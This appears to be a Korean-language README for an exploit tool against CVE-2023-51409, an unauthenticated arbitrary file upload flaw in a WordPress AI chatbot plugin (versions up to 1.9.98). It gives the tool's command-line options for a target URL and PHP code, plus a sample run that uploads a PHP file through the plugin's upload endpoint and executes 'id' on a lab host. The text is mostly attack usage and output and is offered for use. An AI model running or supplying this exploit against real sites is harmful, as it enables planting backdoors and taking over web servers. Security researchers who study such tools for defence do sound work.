CVE-2023-51409

AI Engine: ChatGPT Chatbot <= 1.9.98 - rest_upload를 통한 인증되지 않은 임의 파일 업로드

설명

악의적인 사용자가 웹사이트에 모든 유형의 파일을 업로드할 수 있습니다. 여기에는 백도어가 포함될 수 있으며, 이를 실행하여 웹사이트에 대한 추가 접근 권한을 얻을 수 있습니다.

사용법:

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Base URL of the WordPress instance.
  -code PHP_CODE, --php_code PHP_CODE
  PHP code to upload (default, id).

결과

[INFO] Initiating version check for target.
[INFO] Target plugin version detected: 1.9.98
[VULNERABLE] Detected vulnerable plugin version. Proceeding with exploitation.
[INFO] Target is vulnerable. Proceeding with file upload.
[INFO] Attempting to upload file: Nxploit.php to endpoint: http://192.168.100.74:888/wordpress/wp-json/mwai-ui/v1/files/upload
[SUCCESS] File uploaded successfully! Accessible at: http://192.168.100.74:888/wordpress/wp-content/uploads/2025/01/Nxploit.php
[INFO] Exploitation complete. Uploaded file URL: http://192.168.100.74:888/wordpress/wp-content/uploads/2025/01/Nxploit.php

기본 PHP 코드

id 
uid=1(daemon) gid=1(daemon) groups=1(daemon)